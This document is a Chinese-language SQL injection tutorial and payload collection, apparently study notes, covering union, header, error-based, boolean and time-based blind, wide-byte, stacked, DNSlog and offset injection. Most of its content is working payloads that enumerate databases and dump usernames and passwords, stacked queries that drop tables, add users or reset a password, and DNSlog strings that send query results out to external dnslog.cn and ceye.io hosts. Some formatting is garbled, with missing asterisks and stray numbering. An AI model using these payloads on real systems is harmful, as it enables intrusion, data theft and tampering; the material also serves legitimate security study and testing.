0 判断注入点

/ 整型注入 / sql-bool.php?name=user1 and 1=1 sql-bool.php?name=user1 and 1=2 / 字符型注入 / sql-bool.php?name=user1’ and ‘1’=’1 sql-bool.php?name=user1’ and ‘1’=’2 / 字符型注入 / sql-bool.php?name=user1” and “1”=”1 sql-bool.php?name=user1” and “1”=”2

1.sqlmap常用命令整理记录

2.联合注入

最简单基础的sql注入类型

1.判断是否存在注入点

http://127.0.0.1/test.php?id=1and 1=1 页面显示正常
http://127.0.0.1/test.php?id=1and 1=2 页面显示错误
也可以用id=1’、id=-1、id=2-1、and1>0等方式。

2.用order by猜字段数

order by的作用是对字段进行一个排序,如order by 5,根据第五个字段进行排序,如果一共有4个字段,你输入order by 5系统就会报错不知道怎么排序,所以可以用order by来判断有多少个字段。
http://127.0.0.1/test.php?id=1 order by 5页面显示正常
http://127.0.0.1/test.php?id=1 order by 6页面显示错误,说明存在5个字段

3.联合查询寻找输出点

select * from news where id=12333 union select 1,2,3,4

  • 注:这里有时候需要将前面的id写一个不会回显的参数,否则有的时候数据会覆盖到我们需要显示出来的数据。

    4.查询库名

    1. http://127.0.0.1/test.php?id=1 union select 1,2,3,database()

    5.查询表名

    在mysql5.0以上的版本中加入了information_schema这个系统自带库,可以看到里面用数据库可以查询到表名,用表名可以查询到字段,我们可以加以利用。
    information_schema.tables存放着表名和库名的对应
    构造语句:
    union select 1,table_name,3,4 from information_schema.tables where table_schema=’库名’ limit 0,1
    limit m,n
    其中m代表了从哪个位置(从0开始),n代表着查询几条数据。
    也可以用group_concat()把多条数据并在一起输出。

    6.查询字段

    information_schema.columns存放着字段名和表名的对应
    构造语句:
    union select 1,column_name,3,4 from information_schema.columns where table_name=’表名’

    3.http-header注入

    根据注入点的位置
    有时候开发人员为了验证客户端头信息,或者获取客户端的一些信息,会对客户端的http-header信息进行获取并使用sql语句进行处理,头注入就是将请求头中的数据放入数据库当做命令执行。

    User-Agent:

    服务器能够识别客户使用的操作系统及版本、浏览器版本等。

    Cookie:

    网站为了辨别用户身份,进行session跟踪而储存在用户本地终端上的数据。

    Rerferer:

    告诉服务器我是从哪个页面链接过来的。

    X-Forward-For:

    简称XFF头,代表http请求端真实的IP,一般在用了http代理或者负载均衡服务器会用到。

    4.报错注入

    在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据。

    一: updatexml()

    updatexml(XML_document, XPath_string, new_value);
    简单来说就是updatexml(目标xml内容,xml文档路径,更新的内容)
    我们在xml文档路径的位置写入了子查询,和特殊字符拼接在一起,因为不符合输入路径规则然后报错,先执行了子查询我们可以得到库名。0x7e是16进制里面的“~”,是一个特殊符号,不符合路径规则报错
    语句:select * from aaa where id=1 and updatexml(1,concat(0x7e,(select user()),1)
    sql注入 - 图1

    二:floor()

    floor和count和group by三个函数在一起会产生报错。
    语句:select from aaa where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
    原理:利用select count(
    ),floor(rand(0)2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)2)函数,实现将注入结果与报错信息回显的注入方式。

    poc

    ``` ①判断是否存在报错注入 id=1’ union select count(),floor(rand(0)2) x from information_schema.schemata group by x# ②爆出当前数据库名

id=1’ union select count(),concat(floor(rand(0)2),database()) x from information_schema.schemata group by x # dvwa前的1 是哪个随机数,不要大惊小怪哦~ ③爆出表

id=1’ union select count(),concat(floor(rand(0)2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=’dvwa’ limit 0,1)) x from information_schema.schemata group by x# id=1’ union select count(),concat(floor(rand(0)2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=’dvwa’ limit 1,1)) x from information_schema.schemata group by x# ④爆出字段名

id=1’ union select count(),concat(floor(rand(0)2),0x3a,(select concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’dvwa’ limit 0,1)) x from information_schema.schemata group by x# 改变limit限定数值,可以得出当前的字段 user_id first_name user password ⑤爆出user和password

id=1’ union select count(),concat(floor(rand(0)2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

  1. <a name="KRHag"></a>
  2. ### 三: extractvalue()
  3. 原理和updatexml一样。<br />语句:select * from aaa where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  4. <a name="YO7WW"></a>
  5. ### [MYSQL报错注入的一点总结](https://xz.aliyun.com/t/253)【先知】
  6. <a name="TLy3R"></a>
  7. ### [poc](https://www.cnblogs.com/c1047509362/p/12806297.html)

爆出数据库及相关信息 1’ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)# 1’ and extractvalue(1,concat(0x7e,user(),0x7e,database())) # 爆当前数据库表信息 1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # 1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) # 爆user表字段信息 1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’dvwa’ and table_name=’users’),0x7e),1) # 1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))) # 爆数据库内容 1’ and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) # 1’ and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

  1. <a name="zTkHe"></a>
  2. ## 5.布尔型盲注
  3. 利用场景:有些网站没有输出点,且关闭了错误回显。<br />这里以mysql为例,需要用到的几个函数。<br />length():函数的返回值为字符串的字节长度。<br />substr():截取字符串,用法substr(string, start,length)<br />string-指定的要截取的字符串 start-规定在字符串的何处开始 length-指定要截取的字符串长度<br />ascii():返回字符串中第一个字符的ascii值<br />ord()函数可以返回单个字符的ASCII码<br />char()函数可将ASCII码转换为对应的字符
  4. <a name="X7gY1"></a>
  5. ### 1:使用length()函数猜数据库名长度
  6. 如length(database())>10,页面显示正常。<br />length(database())>20,页面显示不正常。<br />length(database())=9,页面显示正常。<br />我们可以用二分法猜解得到数据库的长度。
  7. ```http
  8. /* 判断库名长度 */
  9. sql-bool.php?name=user1' and (select length(database())) = 1 and '1'='1
  10. sql-bool.php?name=user1' and (select length(database())) = 2 and '1'='1
  11. sql-bool.php?name=user1' and (select length(database())) = 3 and '1'='1
  12. sql-bool.php?name=user1' and (select length(database())) = 4 and '1'='1

2:利用ascii猜数据库名

and (ascii(substr(database(),1,1)))=100,如果页面返回正常,说明数据库名称第一位是d
select ord(substring(database(),1,1));

  1. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 97 and '1'='1
  2. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 98 and '1'='1
  3. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 99 and '1'='1
  4. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 100 and '1'='1
  5. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 101 and '1'='1
  6. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 102 and '1'='1
  7. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 103 and '1'='1
  8. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 104 and '1'='1
  9. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 105 and '1'='1
  10. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 106 and '1'='1
  11. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 107 and '1'='1
  12. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 108 and '1'='1
  13. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 109 and '1'='1
  14. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 110 and '1'='1
  15. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 111 and '1'='1
  16. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 112 and '1'='1
  17. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 113 and '1'='1
  18. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 114 and '1'='1
  19. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 115 and '1'='1
  20. sql-bool.php?name=user1' and (select ord(substring(database(),1,1))) = 116 and '1'='1

3:猜字段名

  1. and (ascii(substr((select column_name from information_schema.columns where table_name='aaa' limit 0,1),1,1)))>100

6.延时注入

有时候我们会遇到一种情况,无论怎么操作页面都是返回正常,这时我们可以考虑用延时注入。
这里用mysql举例,需要用到两个函数。
sleep():执行挂起一段时间,也就是等待一段时间在继续执行。
例:select from users where id=1 and sleep(5); / 5秒之后执行SQL语句/
if(expr1,expr2,expr3):expr1为0或者null或者false,则返回 expr3 ; 否则,返回expr2。
构造语句:and if(ascii(substr(database(),1,1))=100,0,sleep(10))
如果库名第一个字符是d,则网页延时10秒。
benchemark
延时注入会用到布尔盲注的所有函数,包括:*length()、substr()、ascii()
函数

1.判断数据库名长度

首先我们来判断一下数据库的是几个字符,用到length()、if()、sleep()函数,此处选取的数据库名称为test,如下图所示当判断条件为等于4时,输出为Empty并沉睡五秒,当判断条件不等于4时,输出了我们查询的数据,这是因为如果不为4,if函数返回后面的值1,and 1为真,所以数据库名的字符个数为4。

实例:select user from test where id=1 and if((length(database())=4),sleep(5),1),其中(database())为子查询,需要加括号

2.猜解数据库名

select user from test where id=1 and if((ascii(substr(database(),1,1))=116),sleep(5),1),
image.png

3.MySQL中除了sleep()函数外,其他的可用于时间盲注的函数或者方法

BENCHMARK()函数

语法为:

BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 其具体实践在另一篇,非常规注入文章中有

笛卡尔积

heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算,
image.png
终于找到了这个MySQL中的方式,此方式与oracle中的查询all_object方式类似,详情转oracle注入文章

get_lock()函数

加锁函数get_lock(),语法为
GET_LOCK(key, timeout)
解锁函数release_lock(),语法为
RELEASE_LOCK(key)
GET_LOCK有两个参数,一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s),即获取锁失败后等待多久回滚事务。
简单来说,在一个客户端加锁之后想在另外一个客户端对同样的key加锁,需要等待这个timeout,实例操作顺序如下
image.png

实际例子,如下图
image.png

7.宽字节注入

image.png
在一些老版本的php中可以开启防御函数magic_quotes_gpc,也叫魔术引号,作用是判断用户提交的数据,包括有get、post、cookie过来的数据里面的特殊字符增加转义字符”\”,以确保这些数据不会因为特殊字符引起的污染而出现致命的错误。单引号(‘)、双引号(“)、反斜线(\)等字符都会被加上反斜线。
因为单引号和双引号里面的内容都是字符串,如果我们输入的东西不能闭合掉单引号双引号,就无法产生sql注入,在新版本中虽然取消了魔术引号,但是很多cms依然会用一些函数替代,比如addslashes()等。
那么我们怎么逃逸出这个转义呢?这时候可以使用宽字节注入。
原理:如果程序设计数据库编码的时候设置了非英文编码,php发送请求到mysql时经过一次gbk编码,因为gbk是双字节编码,当设置gbk编码后,遇到了连续两个字节都符合gbk取值范围,会自动解析成一个汉字,输入%df%27,本来\会转义%27(’),但\(%5c)的编码数为92,%df的编码数为223,符合取值范围,于是%df%5c会解析成为一个汉字“運”,单引号就逃逸了出来,从而绕过转义造成注入。

  • 注:1.POST注入并不会进行URL转码,所以需要改hex。
  • 2.在查询时用到的表名字段名不能用原来的‘admin’形式,这时候可以转换十六进制,或者用子查询。
  • 3.还可以用汉字绕过。

image.png
image.png
image.png
image.png
image.png

8. 堆叠注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

在SQL中,分号用来表示一条sql语句的结束,我们在;结束语句后面再构造下一条语句,这就造成了堆叠注入。
产生场景:mysql_multi_query() 支持多条sql语句同时执行,只要权限够,我们可以进行增删改查。
实例语句:‘;select * from admins;show database() %23

select from users where id=1;create table test like users;
select
from users where id=1;drop table test;
select from users where id=1;select 1,2,3;
select
from users where id=1;select load_file(‘c:/tmpupbbn.php’);
select * from users where id=1;insert into users(id,username,password) values (‘100’,’new’,’new’);
1’;update users set password=’e10adc3949ba59abbe56e057f20f883e’ where user_id =1; —

9 .DNSlog注入

利用场景:在某些无法直接利用漏洞获得回显时如果用盲注来做效率低下且容易被waf拦截,但是目标可以发起请求,这个时候我们可以通过DNS解析把我们想要获得的数据外带出来。
注入过程:通过子查询将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查询该日志。
这里需要用到一个mysql函数LOAD_FILE():读取一个文件并将其内容作为字符串返回。
LOAD_FILE(file_name),file_name是文件的完整路径。
要使用这个函数,需要满足下面三个条件:

  1. 文件必须位于服务器主机上
  2. 必须指定完整路径的文件,且必须有FILE权限。
  3. 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。

该功能不是默认开启的,需要在mysql配置文件加上一句secure_file_priv=

这里还需要了解一个概念就是UNC路径:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
UNC路径其实是windows有个叫做SMB的服务。

DNSlog平台:dnslog.cn
构造语句:and(select load_file(concat(‘//‘,(select database()),’.xxxxx.dnslog.cn/abc’)))

payload:’ and if((select loadfile(concat(‘\\‘,(select database()),’.xxxx.ceye.io\abc’))),1,0)—+
select load_file(concat(‘\\‘,(select SUBSTR(replace((group_concat(username )),’,’,’
‘),1,63) from users),’.qnpqsu.dnslog.cn/abc’))

如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
image.png
image.png
image.png
image.png

10.偏移注入— mysql access

使用sql注入的时候,我们会遇到一些无法查询表名字段名的时候,比如access数据库没有系统自带库。
使用场景:当你猜到表名但是无法猜到字段名的情况下可以使用。
以access数据库为例,假设我们已经通过爆破得到我们要查询的表名为admin

1.判断字段:

用order by判断一共有15个字段

2.爆出显示位:

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin
假设输出点在3,4,5

3.偏移注入判断admin表里的字段数为6

union select 1,2,3,4,5,6,7,8,9,10,11,12,,14,15 from admin 页面报错
union select 1,2,3,4,5,6,7,8,9,
from admin 页面正常

  • 等价于admin. 表示admin表里面的所有字段

    4.获取字段名

    我们假设admin里面的6个字段为a,b,c,d,e,f
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin等价为union select 1,2,3,4,5,6,7,8,9, from admin
    因为输出点在3,4,5那么
    union select 1,2,
    ,9,10,11,12,13,14,15 from admin
    是不是等于union select 1,2,a,b,c,d,e,f,9,10,11,12,13,14,15 from admin
    那么我们就可以得到a,b,c的数据
    我们可以继续移动位置union select 1,admin.*,8,9,10,11,12,13,14,15 from admin
    这样我们就可以的b,c,d的数据,但是我们怎么也无法得到f的数据,所以偏移注入也是有局限的,原本要查询的字段数越多,输出点越多,就越有利。

document.cookie=”ID=”+escape(“105 and 1=2 union select 1,2,3,4,5,6,7,8,9,admin.*,10 from admin”)